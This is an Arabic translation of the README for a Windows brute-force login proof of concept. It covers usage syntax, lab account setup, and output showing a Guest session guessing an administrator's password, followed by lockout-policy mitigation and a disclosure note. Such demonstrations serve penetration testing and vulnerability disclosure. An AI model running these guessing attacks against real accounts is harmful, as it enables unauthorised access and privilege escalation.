
اختراق كلمة مرور أي مستخدم في Microsoft Windows بدون أي صلاحية (بما في ذلك حساب Guest)
إشعار 1: يسعدنا الإعلان عن نقل أداتنا الحالية إلى إصدار PowerShell. وهذا يعني أنه يمكن للمستخدمين الآن الوصول إلى الأداة واستخدامها مباشرة من سطر أوامر PowerShell، مما يجعلها أكثر سهولة وكفاءة في الاستخدام. نعتقد أن هذا الإصدار الجديد سيفيد مستخدمينا بشكل كبير وسيعزز تجربتهم مع الأداة. شكرًا لدعمكم المستمر ونأمل أن تستمتعوا بالإصدار الجديد من PowerShell: https://github.com/DarkCoderSc/power-brute-logon
إشعار 2: علمنا مؤخرًا أن شركة Microsoft قد فعّلت سياسة قفل الحساب (account lockdown) بشكل افتراضي في الإصدارات الحديثة والمحدثة من Windows. تساعد هذه السياسة في تأمين النظام عن طريق قفل الحساب بعد عدد معين من محاولات تسجيل الدخول الفاشلة. على الرغم من أن هذا إجراء أمني مفيد، إلا أنه يجعل دليل إثبات المفهوم (PoC) غير فعال على هذه الأنظمة.
تاريخ الإصدار: 2020-05-14
الهدف: Windows XP إلى أحدث إصدار من Windows 10 (1909)

موقع الضعف: LogonUserA، LogonUserW، CreateProcessWithLogonA، CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
تم تصميم Win Brute Logon لمحاكاة هجوم القوة العمياء (brute-force) على حساب Microsoft عن طريق تخمين عدد كبير من تركيبات كلمات المرور في وقت قصير. يتيح ذلك لمختبرى الاختراق (pentesters) اختبار الوضع الأمني لأنظمتهم وتقييم دفاعاتهم ضد هجمات القوة العمياء. تستغل الأداة عدم وجود آلية لقفل الحساب، وهو ضعف شائع في العديد من الأنظمة (قبل أن يصبح قفل الحساب مفعلاً افتراضيًا في Windows 11). من خلال محاولة تخمين كلمة مرور أحد الحسابات، تساعد الأداة مختبرى الاختراق في تحديد ومعالجة نقاط الضعف في تدابيرهم الأمنية. يجب استخدامها بشكل مسؤول وفي حدود القانون.
في هذا العرض التوضيحي، سنقوم بإعداد نسخة جديدة من Windows 10 على جهاز افتراضي أو فعلي. بعد إعداد الجهاز، سجل الدخول كمسؤول. بعد ذلك، قم بإنشاء حسابين محليين مختلفين: حساب مسؤول وحساب مستخدم عادي. يرجى ملاحظة أنه على الرغم من أننا سنستخدم حساب الضيف في العرض، إلا أن هذا الدليل (PoC) لا يقتصر على حساب الضيف. يمكن استخدامه من أي حساب أو مجموعة، بما في ذلك الضيف والمستخدم العادي والمستخدم المسؤول.
net user darkcodersc /add
net user darkcodersc trousers (trousers هي كلمة المرور)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm هي كلمة المرور)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
في حالتي، كل من trousers و ozlq6qwm موجودان في قائمة SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
لبدء العرض، قم بتسجيل الخروج من حساب المسؤول أو أعد تشغيل الجهاز وسجل الدخول إلى حساب الضيف. ثم ضع الملف التنفيذي لـ PoC في موقع يمكنك الوصول إليه كمستخدم ضيف.
الاستخدام: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v اختياري، ويشير إلى وضع الإخراج المفصّل (verbose).
افتراضيًا، اسم المجال هو القيمة التي يحددها متغير البيئة %USERDOMAIN%. يمكنك تحديد اسم مخصص باستخدام الخيار -d
darkcodersc (مسؤول)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
انتظر بضع ثوانٍ لرؤية النتيجة التالية:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (مستخدم عادي)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
انتظر بضع ثوانٍ لرؤية النتيجة التالية:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"في سيناريو واقعي، إذا تمكن المهاجم من الوصول إلى حساب مستخدم ذي صلاحيات منخفضة، فقد يتمكن من اختراق كلمة مرور مستخدم أكثر امتيازًا ورفع صلاحياته. للتخفيف من هذه المخاطرة، يمكن اتخاذ عدة خطوات:
لتنفيذ سياسة قفل الحساب الأمنية (غير مفعّلة افتراضيًا)، اتبع الخطوات التالية:
secpol.msc.يرجى ملاحظة أن سياسة القفل لا تنطبق على حساب المسؤول. في هذه الحالة، أفضل حماية لحساب المسؤول (إذا كان مفعّلاً) هي تعيين كلمة مرور معقدة جدًا.
تم إرسال تقرير يوضح هذا الضعف إلى فريق الأمان في Microsoft. يجب أن يفكروا في تفعيل سياسة قفل الحساب افتراضيًا."
(تحديث 2022): تم تفعيل قفل الحساب أخيرًا افتراضيًا.